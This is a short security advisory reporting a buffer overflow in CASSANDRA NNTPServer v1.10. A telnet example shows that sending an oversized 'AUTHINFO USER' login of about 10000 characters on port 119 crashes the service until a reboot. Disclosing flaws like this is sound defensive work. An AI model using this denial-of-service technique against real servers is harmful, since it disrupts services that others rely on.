COMMAND
Cassandra
SYSTEMS AFFECTED
CASSANDRA NNTPServer v1.10 (WinNT, 95)
PROBLEM
The Ussr Labs Team has discovered a buffer overflow problem in the
CASSANDRA NNTPServer v1.0. What happens is preforming an attack
with a large login information Port 119, cause the proccess
containg the services to stop responding. Thanks to [Racer X] to
let them know about this.
Example:
[hellme@die-communitech.net$ telnet example.com 119
Trying example.com...
Connected to example.com.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95
ready at Mon, 1 May 2000 xx:xx:xx +-300 (posting allowed)
AUTHINFO USER (buffer)
Where buffer is 10000 characters. It will take down the service,
making it non-functional, (untill Reboot)
SOLUTION
Vendor informed.